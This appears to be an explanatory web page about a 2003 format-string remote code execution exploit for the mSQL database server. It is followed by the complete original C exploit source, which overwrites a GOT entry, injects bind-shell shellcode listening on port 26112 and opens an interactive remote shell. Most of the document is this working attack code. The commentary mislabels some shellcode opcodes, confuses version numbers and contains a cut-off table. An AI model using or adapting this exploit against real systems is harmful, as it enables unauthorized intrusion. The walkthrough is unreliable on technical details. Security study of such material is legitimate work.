miniSQL (mSQL) 1.3 - GID Remote Code Execution Explained

miniSQL (mSQL) 1.3 - GID Remote Code Execution Explained
What this paper is
This paper details a remote code execution vulnerability in miniSQL (mSQL) version 1.3. The exploit targets a format string vulnerability within the mSQL server. By sending a specially crafted string, an attacker can overwrite critical memory locations, ultimately leading to the execution of arbitrary code, such as a bind shell. The exploit was published in 2003.
Simple technical breakdown
The core of the vulnerability lies in how mSQL handles certain error messages or user-provided data that is then used in format string operations (like printf). If the server doesn't properly sanitize user input before passing it to a function like printf, an attacker can inject format specifiers (e.g., %x, %s, %n).
The %n format specifier is particularly dangerous. It writes the number of bytes printed so far to a memory address specified by the argument. By carefully crafting a string with a sequence of format specifiers and %n, an attacker can overwrite specific memory locations.
In this exploit, the attacker aims to overwrite the Global Offset Table (GOT) entry for a function like strcpy. The GOT is a table used by dynamically linked executables to store the addresses of functions imported from shared libraries. By overwriting an entry in the GOT with the address of the attacker's shellcode, subsequent calls to that function will instead execute the shellcode.
The exploit also uses a technique to write to specific memory addresses by controlling the number of bytes printed before the %n specifier. It leverages the writeaddr and smashaddr variables to pinpoint the target memory locations for overwriting. The pops variable is used to adjust the stack pointer to reach the correct argument on the stack for the %n specifier.
Finally, the exploit includes shellcode that, when executed, will create a bind shell on a specific port (26112 in this case), allowing the attacker to gain a shell on the compromised system.
Complete code and payload walkthrough
Let's break down the provided C code and its components.
Header Files and Definitions:
stdio.h,stdlib.h,stdarg.h,unistd.h,sys/types.h,sys/time.h,string.h,time.h,fcntl.h,arpa/inet.h,sys/socket.h,netinet/in.h,netdb.h,errno.h,getopt.h,signal.h: Standard C and POSIX library includes for input/output, memory management, system calls, networking, error handling, argument parsing, and signals.#define PKT_LEN (128*1024): Defines a buffer size for network packets.#define ERR_BUF_LEN 200: Defines a buffer size for error messages.#define resetError() bzero(msqlErrMsg,sizeof(msqlErrMsg)): Macro to clear the error message buffer.#define chopError() { char *cp; cp = msqlErrMsg+strlen(msqlErrMsg) -1; if (*cp == '\n') *cp = 0;}: Macro to remove a trailing newline from the error message.#define NET_READ(fd,b,l) read(fd,b,l): Macro for reading from a network socket.#define NET_WRITE(fd,b,l) write(fd,b,l): Macro for writing to a network socket.#define SERVER_GONE_ERROR "server has gone...\n": Error string for server disconnection.#define UNKNOWN_ERROR "foo!": Generic unknown error string.static char msqlErrMsg[200];: Global buffer for storing error messages.static u_char packetBuf[PKT_LEN + 4];: Global buffer for network packets. The+4is likely for the packet length header.static int readTimeout;: Flag for read timeout (though its usage is commented out as potentially non-interruptible).u_char *packet = NULL;: Pointer that will point to the actual packet data withinpacketBuf.
Network Helper Functions:
int netReadPacket(int fd):- Purpose: Reads a network packet from a given file descriptor (
fd). - Behavior:
- First, it reads 4 bytes to determine the packet length.
- It then reads the actual packet data based on the length.
- It handles potential read errors and checks for packet size limits.
- It null-terminates the received packet data.
- Output: Returns the length of the read packet, or -1 on error.
- Purpose: Reads a network packet from a given file descriptor (
int netWritePacket(int fd):- Purpose: Writes a network packet to a given file descriptor (
fd). - Behavior:
- It takes a global
packetbuffer (assumed to be null-terminated string). - It prepends the 4-byte length of the packet to the
packetBuf. - It writes the length and then the packet data to the socket.
- It takes a global
- Output: Returns 0 on success, -1 on error.
- Purpose: Writes a network packet to a given file descriptor (
Utility Functions:
static void intToBuf(cp, val):- Purpose: Converts an integer (
val) into a 4-byte little-endian representation and stores it in the buffer pointed to bycp. - Behavior: Extracts each byte of the integer and places it in the correct position in the buffer.
- Purpose: Converts an integer (
static int bufToInt(cp):- Purpose: Converts a 4-byte little-endian buffer (
cp) back into an integer. - Behavior: Reads bytes from the buffer and reconstructs the integer.
- Purpose: Converts a 4-byte little-endian buffer (
mSQL Specific Functions:
int msqlSelectDB(int sock, char *db):- Purpose: Sends a "select database" command to the mSQL server.
- Behavior:
- Resets the error buffer.
- Sets the global
packetpointer to point to the data part ofpacketBuf. - Constructs a packet string in the format "2:
\n" (command code 2 is likely for selecting a database). - Writes the packet using
netWritePacket. - Reads the server's response using
netReadPacket. - If the response indicates an error (starts with "-1"), it parses the error message and stores it in
msqlErrMsg.
- Output: Returns 0 on success, -1 on error.
Target Structure and Data:
struct target:char *name: A descriptive name for the target system/mSQL version.unsigned long writeaddr: The memory address where the exploit will write data. This is often related to the location of error messages or other writable areas near the vulnerable function. The+ 18 + 8offset in the exploit's manual setting suggests it's targeting a specific buffer or variable.unsigned long smashaddr: The memory address of the function in the GOT that the exploit wants to overwrite (e.g.,strcpy's GOT entry).unsigned long pops: The number of stack "pops" needed to reach the correct argument on the stack for the%nformat specifier. This is crucial for controlling the value written by%n.
enum { hi, lo }: Enum for accessing high and low words of an address.struct target targets[]: An array of pre-defined targets with knownwriteaddr,smashaddr, andpopsvalues for different Linux distributions and mSQL versions. This is a common practice in exploits to provide compatibility.
Exploit Core Functions:
void fatal(char *fmt, ...):- Purpose: Prints an error message to
stderrand exits the program. - Behavior: Uses
vsnprintffor formatted output, similar toprintfbut with a variable argument list.
- Purpose: Prints an error message to
unsigned long tcp_resolv(char *hostname):- Purpose: Resolves a hostname to an IP address.
- Behavior: Uses
gethostbynameandinet_atonto perform the resolution.
int tcp_connect(char *hostname, int port):- Purpose: Establishes a TCP connection to a given host and port.
- Behavior: Uses
socket,connect, andtcp_resolv.
int msql_login(char *hostname, unsigned short int port):- Purpose: Handles the initial connection and handshake with the mSQL server.
- Behavior:
- Connects to the mSQL server.
- Reads the initial handshake from the server.
- If the handshake is valid, it sends a "root" login attempt with a specific buffer size.
- Reads the server's response to the login.
- Output: Returns the socket file descriptor on success, or calls
fatalon error.
void msql_selectdb(int fd, char *database):- Purpose: Sends a command to select a database. This function is similar to
msqlSelectDBbut seems to be a more direct packet construction. - Behavior: Constructs a packet with a fixed length (117) and the command "2:
\n". Writes it to the socket.
- Purpose: Sends a command to select a database. This function is similar to
void shell(int fd):- Purpose: Provides an interactive shell session over the established connection.
- Behavior:
- Sends "id ; uname -a\n" to get system information.
- Enters a loop using
selectto monitor both standard input (keyboard) and the network socket. - Reads input from the user and sends it to the remote shell.
- Reads output from the remote shell and prints it to the user's console.
- Handles connection closure.
Shellcode:
char linux_code[78] = ...;:- Purpose: This is the actual shellcode that will be executed on the target system.
- Functionality: This specific shellcode implements a bind shell.
- Breakdown of shellcode bytes (simplified):
\x31\xdb:xor ebx, ebx(clears ebx, often used for syscall numbers or arguments).\xf7\xe3:neg ebx(makes ebx negative, often used for syscall numbers likesocket).\x53\x43\x53:push ebx,inc ebx,push ebx(sets up arguments forsocketsyscall).\x6a\x02:push 0x2(AF_INET - IPv4 address family).\x89\xe1:mov ecx, esp(sets upecxfor thesockaddrstructure).\xb0\x66:mov al, 0x66(syscall number forsocket).\x52:push edx(often 0 for type).\x50:push eax(AF_INET).\xcd\x80:int 0x80(Linux syscall interrupt).\x43:inc ebx(increment syscall number forbind).\x66\x53:push bx(port number, 0x6646 = 26112).\x89\xe1:mov ecx, esp(sets upecxforsockaddr_in).\x6a\x10:push 0x10(length ofsockaddr_in).\x51:push ecx(pointer tosockaddr_in).\x50:push eax(socket file descriptor).\x89\xe1:mov ecx, esp(sets upecxforbindarguments).\x52:push edx(often 0).\x50:push eax(socket file descriptor).\xb0\x66:mov al, 0x66(syscall number forbind).\xcd\x80:int 0x80.\x89\xe1:mov ecx, esp(sets upecxforlistenarguments).\xb3\x04:mov bl, 0x4(syscall number forlisten).\xb0\x66:mov al, 0x66(syscall number forlisten).\xcd\x80:int 0x80.\x43:inc ebx(increment syscall number foraccept).\xb0\x66:mov al, 0x66(syscall number foraccept).\xcd\x80:int 0x80(accepts the connection, returns new socket fd in eax).\x89\xd9:mov ebx, ecx(sets ebx to the new socket fd).\x93:xchg eax, ebx(swaps eax and ebx, so new socket fd is in eax).\xb0\x3f:mov al, 0x3f(syscall number fordup2).\xcd\x80:int 0x80(duplicates the socket fd to stdin, stdout, stderr).\x49:dec ecx(decrements ecx, which is now the socket fd).\x79\xf9:jns <label>(jump if signed, effectively a loop fordup2). This part is a bit condensed. The intent is todup2the socket FD to 0, 1, and 2.\x52:push edx(often 0).\x68\x6e\x2f\x73\x68:push 0x68732f6e("n/sh").\x68\x2f\x2f\x62\x69:push 0x69622f2f("//bi").\x89\xe3:mov ebx, esp(sets ebx to the string "//bin/sh").\x52:push edx(often 0).\x53:push ebx(pointer to "//bin/sh").\x89\xe1:mov ecx, esp(sets upecxforexecvearguments).\xb0\x0b:mov al, 0x0b(syscall number forexecve).\xcd\x80:int 0x80(executes/bin/sh).
Main Exploit Logic:
void usage(void): Prints the usage instructions for the exploit.int main(int argc, char **argv):- Argument Parsing: Uses
getoptto parse command-line arguments:-l: List available targets.-t target: Select a pre-defined target by index.-s [addr]: Manually specify the "smash" address (GOT entry).-w [addr]: Manually specify the "write" address (target for initial writes).-p [num]: Manually specify the number of pops.
- Target Selection:
- If
-tis used, selects a target from thetargetsarray. - If
-s,-w, or-pare used, it initializes amanualtarget structure. - If no target is explicitly selected, it defaults to the first target in the
targetsarray.
- If
- Hostname and Port: Parses the hostname and optional port from remaining arguments.
- Connection and Login: Calls
msql_loginto establish a connection and log in. - Address Calculation:
- Calculates the high and low words of the
writeaddr. - Splits the
smashaddrinto individual bytes.
- Calculates the high and low words of the
- Format String Construction:
- This is the critical part. It uses
snprintfto build the exploit string. - The string starts with 4 bytes that are part of the shellcode (likely to pad or align).
- Then, it includes the
linux_code(shellcode). - The core of the format string is:
%%.%du%%%ld$hn%%.%du%%%ld$hn.%c%c%c%c: These are likely padding bytes or part of the shellcode itself, placed at the beginning.%s: This inserts thelinux_code(shellcode) into the format string.%%.%du%%%ld$hn: This part is designed to write the high word of thesmashaddrto the target GOT entry.%<num>u: Writes a large number of characters. The valueaddr[hi] - 0x68is calculated. The- 0x68is an offset to account for the shellcode and initial padding bytes that are printed before the%nspecifier.%%%ld$hn: This is the format specifier that writes the number of bytes printed so far to the address specified by the<num>-th argument on the stack.target->popsis used to find the correct argument on the stack.hnwrites a half-word (2 bytes).
%%.%du%%%ld$hn: This part is designed to write the low word of thesmashaddrto the target GOT entry.%<num>u: Writes a number of characters. The valueaddr[lo] - addr[hi]is calculated to write the remaining bytes needed for the low word.%%%ld$hn: Writes the number of bytes to the address specified by the<num>-th argument.target->pops + 1is used to target the next argument on the stack.
- The
if (addr[hi] < addr[lo])condition handles cases where the high word is numerically smaller than the low word, adjusting the padding calculation accordingly.
- This is the critical part. It uses
- Exploitation:
- Calls
msqlSelectDBwith the crafted format string. This is intended to trigger the format string vulnerability. - Forking: The code forks. The child process immediately calls
msqlSelectDBagain with the same buffer. This is a common technique to ensure the vulnerable function is called multiple times, increasing the chance of the exploit succeeding or to handle timing issues. - Sleep and Bind Shell Connection: The parent process sleeps for 1 second.
- It then attempts to connect to port 26112 on the target host using
tcp_connect. This is where the bind shell planted by the shellcode should be listening. - Interactive Shell: If the connection to the bind shell is successful, it calls the
shellfunction to provide an interactive command prompt.
- Calls
- Argument Parsing: Uses
Code Fragment/Block -> Practical Purpose Mapping:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
/* _ ________ _____ ______
__ ___ ____ /____.------` /_______.------.___.----` ___/____ _______
_/ \ _ /\ __. __// ___/_ ___. /_\ /_ | _/
___ ._\ . \\ /__ _____/ _ / \_ | /__ | _| slc | _____ _
- -------\______||--._____\---._______//-|__ //-.___|----._____||
/ \ /
\/
[*] mSQL < remote gid root exploit by lucipher & The Itch (netric)
------------------------------------------------------------------------------
[*] Exploits a format string hole in mSQL.
[*] Some functions are taken from mSQL's sourcecode
Copyright (c) 2003 Netric Security and lucipher
All rights reserved.
THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
#include <stdio.h> /* required by fatal() */
#include <stdlib.h>
#include <stdarg.h> /* required by fatal() */
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <string.h>
#include <time.h>
#include <fcntl.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h> /* required by errno */
#include <getopt.h> /* required by getopt() */
#include <signal.h>
#define PKT_LEN (128*1024)
#define ERR_BUF_LEN 200
#define resetError() bzero(msqlErrMsg,sizeof(msqlErrMsg))
#define chopError() { char *cp; cp = msqlErrMsg+strlen(msqlErrMsg) -1; \
if (*cp == '\n') *cp = 0;}
#define NET_READ(fd,b,l) read(fd,b,l)
#define NET_WRITE(fd,b,l) write(fd,b,l)
#define SERVER_GONE_ERROR "server has gone...\n"
#define UNKNOWN_ERROR "foo!"
static char msqlErrMsg[200];
static u_char packetBuf[PKT_LEN + 4];
static int readTimeout;
u_char *packet = NULL;
int netReadPacket(int fd);
int netWritePacket(int fd);
/* bindshell shellcode */
char linux_code[78] = /* binds on port 26112 */
"\x31\xdb\xf7\xe3\x53\x43\x53"
"\x6a\x02\x89\xe1\xb0\x66\x52"
"\x50\xcd\x80\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1"
"\x52\x50\xb0\x66\xcd\x80\x89"
"\xe1\xb3\x04\xb0\x66\xcd\x80"
"\x43\xb0\x66\xcd\x80\x89\xd9"
"\x93\xb0\x3f\xcd\x80\x49\x79"
"\xf9\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
static void intToBuf(cp, val)
u_char *cp;
int val;
{
*cp++ = (unsigned int) (val & 0x000000ff);
*cp++ = (unsigned int) (val & 0x0000ff00) >> 8;
*cp++ = (unsigned int) (val & 0x00ff0000) >> 16;
*cp++ = (unsigned int) (val & 0xff000000) >> 24;
}
static int bufToInt(cp)
u_char *cp;
{
int val;
val = 0;
val = *cp++;
val += ((int) *cp++) << 8;
val += ((int) *cp++) << 16;
val += ((int) *cp++) << 24;
return (val);
}
int netWritePacket(fd)
int fd;
{
int len, offset, remain, numBytes;
len = strlen((char *) packet);
intToBuf(packetBuf, len);
offset = 0;
remain = len + 4;
while (remain > 0) {
numBytes = NET_WRITE(fd, packetBuf + offset, remain);
if (numBytes == -1) {
return (-1);
}
offset += numBytes;
remain -= numBytes;
}
return (0);
}
int netReadPacket(fd)
int fd;
{
u_char buf[4];
int len, remain, offset, numBytes;
remain = 4;
offset = 0;
numBytes = 0;
readTimeout = 0;
while (remain > 0) {
/*
** We can't just set an alarm here as on lots of boxes
** both read and recv are non-interuptable. So, we
** wait till there something to read before we start
** reading in the server (not the client)
*/
if (!readTimeout) {
numBytes = NET_READ(fd, buf + offset, remain);
if (numBytes < 0 && errno != EINTR) {
fprintf(stderr,
"Socket read on %d for length failed : ",
fd);
perror("");
}
if (numBytes <= 0)
return (-1);
}
if (readTimeout)
break;
remain -= numBytes;
offset += numBytes;
}
len = bufToInt(buf);
if (len > PKT_LEN) {
fprintf(stderr, "Packet too large (%d)\n", len);
return (-1);
}
if (len < 0) {
fprintf(stderr, "Malformed packet\n");
return (-1);
}
remain = len;
offset = 0;
while (remain > 0) {
numBytes = NET_READ(fd, packet + offset, remain);
if (numBytes <= 0) {
return (-1);
}
remain -= numBytes;
offset += numBytes;
}
*(packet + len) = 0;
return (len);
}
int msqlSelectDB(int sock, char *db)
{
memset(msqlErrMsg, 0x0, sizeof(msqlErrMsg));
packet = packetBuf+4;
snprintf(packet, PKT_LEN, "%d:%s\n", 2, db);
netWritePacket(sock);
if (netReadPacket(sock) <= 0) {
strcpy(msqlErrMsg, SERVER_GONE_ERROR);
return (-1);
}
if (atoi(packet) == -1) {
char *cp;
cp = (char *) index(packet, ':');
if (cp) {
strcpy(msqlErrMsg, cp + 1);
chopError();
} else {
strcpy(msqlErrMsg, UNKNOWN_ERROR);
}
return (-1);
}
return (0);
}
struct target {
char *name; /* target description */
unsigned long writeaddr; /* mSQL's errMsg + 18 + 8 address */
unsigned long smashaddr; /* strcpy's GOT address */
unsigned long pops; /* number of stack pops */
};
/* high and low words indexers */
enum { hi, lo };
/* default values. */
struct target targets[] = {
/* name write smash pops */
{ "SlackWare 8.1 - mSQL 3.0p1", 0x80a169a, 0x080751ec, 113 },
{ "Debian 3.0 - mSQL 3.0p1", 134879034, 0x08075224, 113 },
{ "RedHat 8.0 - mSQL 3.0p1", 0x804b778, 0x08074c1c, 115 },
{ "RedHat 8.0 (II) - mSQL 3.0p1", 0x804b778, 0x08074c1c, 116 },
{ NULL, 0x0, 0x0, 0 }
};
void fatal(char *fmt, ...)
{
char buffer[1024];
va_list ap;
va_start(ap, fmt);
vsnprintf(buffer, sizeof (buffer) - 1, fmt, ap);
va_end(ap);
fprintf(stderr, "%s", buffer);
exit(1);
}
/* resolve a given hostname */
unsigned long tcp_resolv(char *hostname)
{
struct hostent *he;
unsigned long addr;
int n;
he = gethostbyname(hostname);
if (he == NULL) {
n = inet_aton(hostname, (struct in_addr *) addr);
if (n < 0)
fatal("inet_aton: %s\n", strerror(errno));
return addr;
}
return *(unsigned long *) he->h_addr;
}
/* routine to open a tcp/ip connection */
int tcp_connect(char *hostname, int port)
{
struct sockaddr_in sin;
int fd, n;
sin.sin_addr.s_addr = tcp_resolv(hostname);
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
fd = socket(AF_INET, SOCK_STREAM, 6);
if (fd < 0)
return -1;
n = connect(fd, (struct sockaddr *) &sin, sizeof (sin));
if (n < 0)
return -1;
return fd;
}
int msql_login(char *hostname, unsigned short int port)
{
char buffer[300], *p;
int fd, n, opt;
fd = tcp_connect(hostname, port);
if (fd < 0)
fatal("[-] couldn't connect to host %s:%u\n", hostname, port);
setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, (char *) &opt, 4);
memset(&buffer, 0x0, sizeof(buffer));
n = read(fd, &buffer, sizeof(buffer) - 1);
if (n < 0)
fatal("[-] could not read socket: %s\n", strerror(errno));
p = (char *)&buffer + 4;
if (atoi(p) == -1)
fatal("[-] bad handshake received.\n");
p++;
if (*p != ':') p++;
p++;
if (*p >= '1' && *p <= '3') {
/* send buffer size within packet. */
buffer[0] = (unsigned int) (5UL & 0x000000ff);
buffer[1] = (unsigned int) (5UL & 0x0000ff00) >> 8;
buffer[2] = (unsigned int) (5UL & 0x00ff0000) >> 16;
buffer[3] = (unsigned int) (5UL & 0xff000000) >> 24;
/* sorta like our login. */
buffer[4] = 'r';
buffer[5] = 'o';
buffer[6] = 'o';
buffer[7] = 't';
buffer[8] = '\n';
buffer[9] = '\0';
write(fd, buffer, 9);
}
n = read(fd, buffer, sizeof(buffer) - 1);
if (n < 0)
fatal("[-] client failed in handshake.\n");
printf("[+] connected to %s -> %u\n", hostname, port);
return fd;
}
void msql_selectdb(int fd, char *database)
{
unsigned char buffer[300];
unsigned int len;
len = 117;
buffer[0] = (unsigned char)(len & 0x000000ff);
buffer[1] = (unsigned char)(len & 0x0000ff00) >> 8;
buffer[2] = (unsigned char)(len & 0x00ff0000) >> 16;
buffer[3] = (unsigned char)(len & 0xff000000) >> 24;
snprintf(&buffer[4], sizeof(buffer) - 1, "2:%s\n", database);
len = write(fd, &buffer[0], len);
}
void shell(int fd)
{
char buf[512];
fd_set rfds;
int l;
write(fd, "id ; uname -a\n", 14);
while (1) {
FD_SET(0, &rfds);
FD_SET(fd, &rfds);
select(fd + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET(0, &rfds)) {
l = read(0, buf, sizeof (buf));
if (l <= 0) {
perror("read user");
exit(EXIT_FAILURE);
}
write(fd, buf, l);
}
if (FD_ISSET(fd, &rfds)) {
l = read(fd, buf, sizeof (buf));
if (l == 0) {
fatal("connection closed by foreign host.\n");
} else if (l < 0) {
perror("read remote");
exit (EXIT_FAILURE);
}
write(1, buf, l);
}
}
}
void usage(void)
{
fprintf(stderr, "mSQLexploit\n\n");
fprintf(stderr, " -l\t\tlist available targets.\n");
fprintf(stderr, " -t target\ttarget selection.\n");
fprintf(stderr, " *** MANUAL ATTACK ***\n");
fprintf(stderr, " -s [addr]\tsmash address.\n");
fprintf(stderr, " -w [addr]\twrite address.\n");
fprintf(stderr, " -p [num]\tnumber of pops.\n");
exit(1);
}
int main(int argc, char **argv)
{
struct target manual;
struct target *target = NULL;
unsigned short port = 0, addr[2];
unsigned char split[4];
char *hostname, buffer[200];
int fd, opt;
if (argc <= 1)
usage();
memset(&manual, 0x00, sizeof(struct target));
while ((opt = getopt(argc, argv, "lht:s:w:p:")) != EOF) {
switch (opt) {
case 't': /* pre-written target selection */
target = &targets[atoi(optarg)];
break;
case 'l':
{
int i;
/* iterate through the list of targets and display. */
for (i = 0; targets[i].name; i++)
printf("[%d] %s\n", i, targets[i].name);
exit(1);
}
case 'h':
/* print exploit usage information */
usage();
break; /* never reached */
case 's':
if (target == NULL)
target = &manual;
target->name = "Manual Target";
target->smashaddr = strtoul(optarg, NULL, 16);
break;
case 'w':
if (target == NULL)
target = &manual;
target->name = "Manual Target";
target->writeaddr = strtoul(optarg, NULL, 16) + 0x1a;
break;
case 'p':
if (target == NULL)
target = &manual;
target->name = "Manual Target";
target->pops = atoi(optarg);
}
}
argc -= optind;
argv += optind;
if (argc <= 0) {
fatal("choose a hostname and optionally a port\n");
} else if (argc == 1) {
hostname = argv[0];
} else {
hostname = argv[0];
port = atoi(argv[1]) & 0xff;
}
if (target != NULL) {
if (!strncmp(target->name, "Manual", 6))
if (!target->smashaddr || !target->writeaddr ||
!target->pops)
fatal("exploit requires pop count and "
"smash, write addresses: use -p and -w and -s "
"to set them\n");
} else {
target = &target[0];
}
printf("[+] attacking %s -> %u\n", hostname, (port) ? port : 1114);
fd = msql_login(hostname, (port) ? port : 1114);
printf("[+] name %s\n", target->name);
printf("[+] smash %08lx\n", target->smashaddr);
printf("[+] write %08lx\n", target->writeaddr);
printf("[+] Now building string...\n");
memset(&buffer, 0x0, sizeof(buffer));
addr[lo] = (target->writeaddr & 0x0000ffff);
addr[hi] = (target->writeaddr & 0xffff0000) >> 16;
/* split the address */
split[0] = (target->smashaddr & 0xff000000) >> 24;
split[1] = (target->smashaddr & 0x00ff0000) >> 16;
split[2] = (target->smashaddr & 0x0000ff00) >> 8;
split[3] = (target->smashaddr & 0x000000ff);
/* build the format string */
if (addr[hi] < addr[lo])
snprintf(buffer, sizeof(buffer),
"%c%c%c%c"
"%c%c%c%c"
"%s"
"%%.%du%%%ld$hn"
"%%.%du%%%ld$hn",
split[3] + 2, split[2], split[1], split[0],
split[3], split[2], split[1], split[0],
linux_code,
addr[hi] - 0x68, target->pops,
addr[lo] - addr[hi], target->pops + 1);
else
snprintf(buffer, sizeof(buffer),
"%c%c%c%c"
"%c%c%c%c"
"%s"
"%%.%du%%%ld$hn"
"%%.%du%%%ld$hn",
split[3] + 2, split[2], split[1], split[0],
split[3], split[2], split[1], split[0],
linux_code,
addr[lo] - 0x68, target->pops,
addr[hi] - addr[lo], target->pops + 1);
printf("[+] Trying to exploit...\n");
msqlSelectDB(fd, buffer);
switch (opt = fork()) {
case 0:
msqlSelectDB(fd, buffer);
exit(1);
case -1:
fatal("[-] failed fork()!\n");
default:
break;
}
printf("[+] sleeping...\n");
sleep(1);
opt = tcp_connect(hostname, 26112);
if (opt < 0)
fatal("[-] failed! couldn't connect to bindshell!\n");
printf("[+] shell!\n");
shell(opt);
return 0;
}
// milw0rm.com [2003-07-25]